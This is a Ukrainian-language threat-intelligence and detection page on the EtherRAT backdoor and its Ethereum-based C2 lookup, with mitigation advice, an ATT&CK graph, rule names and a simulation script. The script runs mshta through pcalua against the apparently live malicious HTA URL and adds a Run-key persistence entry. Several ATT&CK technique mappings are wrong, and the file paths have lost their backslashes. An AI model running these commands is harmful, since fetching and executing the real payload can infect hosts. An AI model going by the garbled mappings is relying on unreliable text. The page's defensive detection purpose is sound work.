EtherRAT і модуль SYS_INFO: C2 на Ethereum (EtherHiding), вибір цілі, подоба CDN-маячка
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
EtherRAT – це бекдор на Node.js, який визначає свої командно-контрольні кінцеві точки з Ethereum смарт-контрактів, використовуючи підхід «EtherHiding». Він інтегрується в нормальний веб-трафік, формуючи маяки, що нагадують безпечні запити CDN, орієнтуючись на цінні дані, такі як криптовалютні гаманці та хмарні облікові дані. Первинний доступ, як правило, здійснюється шляхом соціальної інженерії в стилі ClickFix або підроблених приманок IT-підтримки, які запускають виконання шкідливого HTA за допомогою pcalua.exe і mshta.exe.
Розслідування
Підрозділ реагування на загрози eSentire спостерігав багатоступеневий ланцюг завантажувача, що включає робочий процес розшифровки AES-256-CBC, стійкість через значення HKCU Run у реєстрі та модуль SYS_INFO, відповідальний за широку профілювання хоста. EtherRAT звертається до кількох публічних провайдерів Ethereum RPC, щоб знайти відповідний смарт-контракт, а потім створює URL-адреси, схожі на CDN, і опитує їх для отримання завдань і подальших команд, підсилюючи свою маскування під «законний трафік».
Пом’якшення
Використовуйте AppLocker або WDAC для блокування або суворого контролю pcalua.exe і mshta.exe, а також обмежте діалогове вікно запуску Windows через групову політику. Там, де можливо, обмежте або заблокуйте доступ до відомої публічної інфраструктури поспіль crypto RPC і сповіщайте про несподіване використання Ethereum RPC з кінцевих точок, які його не потребують. Встановіть контроль endpoint, який може виявляти бекдори на базі Node.js і контролювати ненормальні шаблони маячків, що імітують поведінку отримання CDN для виявлених доменів.
Реакція
Якщо виявлена активність EtherRAT, ізолюйте кінцеву точку, закінчіть поточний процес і видаліть запис стійкості HKCU Run разом з будь-якими артефактами, що залишилися. Проведіть повне судове обстеження, щоб підтвердити, що додаткові навантаження не були занищені, і змініть скомпрометовані облікові дані – пріоритетними є секрети криптовалютних гаманців і ключі хмарних сервісів. Розширте полювання по всьому середовищі на подібні запити Ethereum-RPC і докладну поведінку опитування для оцінки можливого поширення.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Technique</b> – <b>T1218.005 System Binary Proxy Execution</b><br/>pcalua.exe запускає mshta.exe для завантаження та виконання шкідливого HTA"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Technique</b> – <b>T1202 Indirect Command Execution</b><br/>Обфусується командний рядок для виклику інших бінарних файлів"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Technique</b> – <b>T1059.003 Command and Scripting Interpreter: Windows Command Shell</b><br/>Виконує команди PowerShell і reg для відбитків"] class tech_cmd_shell technique tech_persistence["<b>Technique</b> – <b>T1546.007 Netsh Helper DLL</b> and <b>T1037.004 RC Scripts</b><br/>Створює ключ Run у реєстрі HKCU, запускаючи безголовий node.exe conhost.exe"] class tech_persistence technique tech_defense_evasion["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b> з підтехніками Поліморфний код, Динамічне вирішення API, Вкладені корисні навантаження, Деобфускація/Декодування"] class tech_defense_evasion technique tech_c2_resolver["<b>Technique</b> – <b>T1102.001 Dead Drop Resolver</b><br/>Отримує адресу C2 з Ethereum смарт-контракту"] class tech_c2_resolver technique tech_c2_comm["<b>Technique</b> – <b>T1102 Web Service</b> з двостороннім (T1102.002) та одностороннім (T1102.003) зв’язком<br/>HTTPS запити імітують трафік CDN"] class tech_c2_comm technique tech_collection["<b>Technique</b> – <b>T1602.002 Network Device Configuration Dump</b><br/>Збирає ОС, апаратне забезпечення, мережу, файли криптовалютних гаманців та облікові дані хмар"] class tech_collection technique tech_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Відправляє зібрані дані назад через той самий HTTPS канал"] class tech_exfiltration technique tech_impact_hijack["<b>Technique</b> – <b>T1496.001 Compute Hijacking</b><br/>Краде файли гаманців криптовалют"] class tech_impact_hijack technique tech_impact_cloud["<b>Technique</b> – <b>T1537 Transfer Data to Cloud Account</b><br/>Завантажує облікові дані в хмарне сховище"] class tech_impact_cloud technique tech_software_ext["<b>Technique</b> – <b>T1176 Software Extensions</b> and <b>T1505.004 IIS Components</b><br/>Завантажує виконуюче середовище Node.js та додаткові модулі"] class tech_software_ext technique tech_lateral["<b>Technique</b> – <b>T1080 Taint Shared Content</b><br/>Завантажує додаткові навантаження/модулі з віддалених серверів"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Інструмент</b> – <b>Ім’я</b>: pcalua.exe<br/><b>Опис</b>: автономний установник оновлень Windows, використовується як проксі"] class tool_pcalua tool tool_cmd["<b>Інструмент</b> – <b>Ім’я</b>: cmd.exe<br/><b>Опис</b>: командна оболонка Windows з обфускацією за допомогою кареток"] class tool_cmd tool tool_ethereum["<b>Інструмент</b> – <b>Ім’я</b>: Ethereum RPC provider<br/><b>Опис</b>: публічні кінцеві точки RPC використовуються для запитів смарт-контракту"] class tool_ethereum tool tool_nodejs["<b>Інструмент</b> – <b>Ім’я</b>: Node.js runtime<br/><b>Опис</b>: Виконує додаткові модулі, завантажені з C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Процес</b> – <b>Ім’я</b>: mshta.exe<br/><b>Опис</b>: Виконує HTA файли"] class process_mshta process process_powershell["<b>Процес</b> – <b>Ім’я</b>: powershell.exe<br/><b>Опис</b>: Виконує скрипти PowerShell для системного відіткладу"] class process_powershell process process_conhost["<b>Процес</b> – <b>Ім’я</b>: conhost.exe<br/><b>Опис</b>: процес-хост, який використовується для запуску безголовий node.exe"] class process_conhost process process_https["<b>Процес</b> – <b>Ім’я</b>: HTTPS клієнт<br/><b>Опис</b>: Відправляє запити, такі як /api/<hex>/<UUID>.ico, що імітують трафік CDN"] class process_https process process_remote_download["<b>Процес</b> – <b>Ім’я</b>: завантажувач<br/><b>Опис</b>: Отримує додаткові навантаження з віддалених серверів"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Malware</b> – <b>Ім’я</b>: Obfuscator.io згенерований навантажувальний блок<br/><b>Опис</b>: AESu2011256u2011CBC зашифровані етапи з поліморфним кодом"] class malware_obfuscator malware %% Connections tech_initial_access –>|використовує| tool_pcalua tool_pcalua –>|запускає| process_mshta process_mshta –>|завантажує| "shep.hta" tech_initial_access –>|веде до| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|використовує| tool_cmd tool_cmd –>|викликає| process_powershell process_powershell –>|виконує| tech_cmd_shell tech_cmd_shell –>|забезпечує| tech_persistence tech_persistence –>|створює| process_conhost process_conhost –>|запускає| tool_nodejs tech_defense_evasion –>|застосовується до| malware_obfuscator malware_obfuscator –>|постачає навантаження для| tool_nodejs tech_c2_resolver –>|отримує адресу через| tool_ethereum tool_ethereum –>|робить запит| "Ethereum смарт-контракт" tech_c2_comm –>|комунікує через| process_https process_https –>|передає дані до| tech_collection tech_collection –>|дані ексфільтруються через| tech_exfiltration tech_exfiltration –>|доставляє до| tech_impact_hijack tech_exfiltration –>|доставляє до| tech_impact_cloud tech_software_ext –>|завантажує| tool_nodejs tool_nodejs –>|забезпечує| tech_lateral tech_lateral –>|завантажує| process_remote_download "
Поточний потік атаки
Виявлення
LOLBAS Pcalua (через командний рядок)
Переглянути
Процеси Lolbin, які створюють файли (через file_event)
Переглянути
MsiExec, запущений процесом оболонки (через командний рядок)
Переглянути
LOLBAS Conhost (через командний рядок)
Переглянути
Підозріла поведінка обходу захисту LOLBAS MSHTA, виявлена через асоційовані команди (через створення процесу)
Переглянути
Ймовірна спроба зв’язку з доменом IP (через DNS)
Переглянути
Можливе перерахування/маніпуляція облікових записів або груп (через командний рядок)
Переглянути
Підозріле використання CURL (через командний рядок)
Переглянути
Ймовірне виявлення середовища віртуалізації Windows за допомогою WMI (через командний рядок)
Переглянути
Можливі точки стійкості [ASEPS – Hive Software/NTUSER] (через командний рядок)
Переглянути
Можливі перевірки обходу (через PowerShell)
Переглянути
Можливе обфускування командного рядка через вставку кареток (через командний рядок)
Переглянути
Можливе перерахування антивірусного або брандмауерного програмного забезпечення (через створення процесу)
Переглянути
Виявлення інформації про систему Linux (через командний рядок)
Переглянути
IOC (джерело IP), щоб виявити: EtherRAT і модуль SYS_INFO: C2 на Ethereum (EtherHiding), вибір цілі, повторювачі, схожі на CDN
Переглянути
IOC (IP призначення), щоб виявити: EtherRAT і модуль SYS_INFO: C2 на Ethereum (EtherHiding), вибір цілі, повторювачі, схожі на CDN
Переглянути
IOC (HashSha256), щоб виявити: EtherRAT і модуль SYS_INFO: C2 на Ethereum (EtherHiding), вибір цілі, повторювачі, схожі на CDN
Переглянути
Виявлення початкового доступу EtherRAT через ClickFix і непряме виконання команд [створення процесу в Windows]
Переглянути
Виконання симуляції
Передумова: телеметрія та перевірка базового рівня повинна пройти успішно.
Обґрунтування: Цей розділ детально описує точне виконання техніки супротивника (TTP), розробленої для запуску правила виявлення. Команди та розповідь МАЮТЬ безпосередньо відображати виявлені TTP і спрямовані на створення точного обсягу даних телеметрії, очікуваного при логіці виявлення. Абстрактні або нерелевантні приклади приведуть до помилкового діагнозу.
-
Атака та команди:
- Початковий доступ – ClickFix скидач: Атакер використовує шкідливий ClickFix інсталятор, який запускає схований
cmd.exeякий викликаєpcalua.exe. - Непряме виконання:
pcalua.exeінструктує запуститиmshta.exeпроти віддаленого HTA файлу, розміщеного наhttps://www-flow-submission-management.shepherdsestates.uk/shep.hta. Цей HTA скрипт завантажує нагрузку EtherRAT. - Налаштування стійкості: Скидач додає
Runзначення реєстру підHKCU:SoftwareMicrosoftWindowsCurrentVersionRunвказуючи на ланцюг виконання зconhost.exe→node.exeзабезпечує, що шкідливе ПО запускається при вході користувача. - Розвідка домену: Паралельно запускається PowerShell однолінійка для зчитування доменного імені машини, сигналізуючи атакеру, що хост приєднаний до домену.
Усі три командні рядки виконуються з одного схованого
cmd.exeекземпляра, відповідного правилу Sigmaіндикатор1/індикатор2orіндикатор3комбінація. - Початковий доступ – ClickFix скидач: Атакер використовує шкідливий ClickFix інсталятор, який запускає схований
-
Скрипт тесту на регресію: Наступний скрипт відтворює точні командні рядки (шляхи, специфічні для користувача, вирішуються за допомогою змінних середовища).
# ------------------------------------------------------------- # Симуляція початкового доступу EtherRAT – PowerShell оболонка # ------------------------------------------------------------- $username = $env:USERNAME $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta" $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' $conhostPath = "$env:WINDIRSystem32conhost.exe" $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe" $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin" # 1. Індикатор 1 – pcalua -> mshta $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden # 2. Індикатор 2 – Ключ запуску реєстру з ланцюгом conhost $regCommand = "reg add `"HKCU:SoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f" $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden # 3. Індикатор 3 – PowerShell запит домену $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`"" $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden Write-Host "`n[+] Команди симуляції видані. Перевірте SIEM для відповідності тривог." -
Команди очищення: Видаліть запис реєстру та видаліть будь-які файли, створені під час симуляції.
# ------------------------------------------------------------- # Очищення – видалення ключа запуску та тимчасових файлів # ------------------------------------------------------------- $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' # Видалити значення ключа запуску if (Test-Path $runKeyPath) { Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue Write-Host "[+] Видалено значення запуску реєстру $runValueName" } # Видалити залишкові файли (якщо вони були створені) $paths = @( "$env:TEMPbenign.txt" # з базового рівня (необов'язково) ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item $p -Force } } Write-Host "[+] Очистка завершена."